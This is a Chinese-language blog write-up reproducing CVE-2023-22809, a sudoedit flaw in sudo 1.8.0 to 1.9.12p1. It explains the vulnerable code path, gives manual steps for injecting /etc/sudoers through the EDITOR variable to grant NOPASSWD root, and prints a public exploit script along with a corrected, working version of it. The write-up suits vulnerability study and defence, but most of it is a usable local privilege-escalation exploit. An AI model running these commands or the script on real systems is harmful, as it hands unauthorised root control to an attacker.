@[TOC](Linux Sudo权限提升漏洞复现(CVE-2023-22809))
前言
● 漏洞简介:Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的“–”参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升(由普通用户到超级用户,即"root")。
● 漏洞编号:CVE-2023-22809
● 漏洞等级:高危
● 漏洞评分:7.8分
● 影响版本:sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)
● 攻击效果:本地提权
漏洞分析
参考链接中分析的很清楚,大致流程如下:
执行命令:EDITOR=“vim – /etc/sudoers” sudoedit /etc/test
-
判断使用程序为sudoedit设置mode为MODE_EDIT,进入对应分支判断
-
调用policy_check->sudoers_policy_check->sudoers_policy_main->sudoers_lookup读取sudoers文件的内容并验证用户是否有权限执行命令,这也是此漏洞的攻击条件之一,如果没有权限会无法绕过sudoers_lookup函数。
-
find_editor检查是否存在SUDO_EDITOR、VISUAL、EDITOR这三个环境变量,对于每个环境变量如果存在则调用resolve_editor,resolve_editor是解析路径和命令的函数。解析后的命令为vim – /etc/sudoers – /etc/test
-
sudoedit首先设置了ROOT权限和临时可写目录,由于此时已经是root权限,当走到这一步就可以做到任意文件编辑,重点关注这几行行代码
-
这时就会超级用户的权限打开通过环境变量额外参数注入的文件/etc/sudoers进行写入,因为可以编辑任意敏感文件,可以用不同方式进行提权:修改/etc/shadow为空密码、修改/etc/passwd中root为用户名、修改/etc/sudoers规定用户X可以无密码执行任何操作
提权
- 首先创建/etc/test,然后编辑/etc/sudoers,在文件末尾添加(user为攻击者用户名)
user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test
#使用户可以在不输入密码的情况下执行sudoedit /etc/test,也是攻击的必备条件
#从一个文件的超级用户权限编辑到任意文件超级用户权限编辑再到提权
- 命令行中输入EDITOR=“vim – /etc/sudoers” sudoedit /etc/test在打开的sodoers文件中加入(user为攻击者用户名)
user ALL=(ALL:ALL) NOPASSWD: ALL
- 保存退出,到这一步就已经提权成功了。用户 “user” 在执行任何命令时都不需要输入密码,并且具有以任何用户身份执行任何命令的权限。
- sudo su切换超级用户
在具体本地实现的时候发现提供exp的一些问题
原exp:
#!/usr/bin/env bash
#
# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation
#
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Running this exploit on a vulnerable system allows a localiattacker to gain
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root
# shell.
if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)
if [ -z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
fi
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL"
read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0
-
EXPLOITABLE=$(sudo -l | grep -E “sudoedit|sudo -e” | grep -E ‘(root)|(ALL)|(ALL : ALL)’ | cut -d ‘)’ -f 2-)主要提取在 sudoers 配置中被授权执行的命令列表中拥有sudoedit执行权限的行并过滤,如sudoedit /etc/test,实际执行会过滤成:
需要将NOPASSWD:也过滤掉 -
提权的前提就是需要有对某个文件的超级用户编辑权限,也就是上边的查找过滤部分
这种并没有复现成功,成功获取root权限原因是sudo命令有身份验证缓存时间。也就是使用sudo命令进行身份验证后,在缓存期间,如果再次运行sudo命令,它将不会提示要求输入密码,而是直接使用缓存的身份验证信息执行命令。
-
正常执行过程中sudo -l是需要身份验证的,或者在之前有过验证。因为身份验证缓存所以后续有没有利用成功sudo su都会成功提权,正常打开了注入的文件并修改就算利用成功。或者在sudoers文件中添加以下一行,禁用身份缓存
Defaults env_reset,timestamp_timeout=0
- 在sudoers文件中添加USER ALL=(ALL:ALL) ALL,在执行命令时可能还是需要身份验证,需要添加USER ALL=(ALL:ALL) NOPASSWD: ALL使其在执行时不需要密码验证
更改后的exp
#!/usr/bin/env bash
#
# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation
#
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Running this exploit on a vulnerable system allows a localiattacker to gain
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root
# shell.
if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | grep -oP "sudoedit.*")
if [ -z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
fi
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) NOPASSWD:ALL"
read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0
参考
https://bbs.kanxue.com/thread-277242.htm#msg_header_h2_1
https://blog.csdn.net/weixin_46944519/article/details/129971508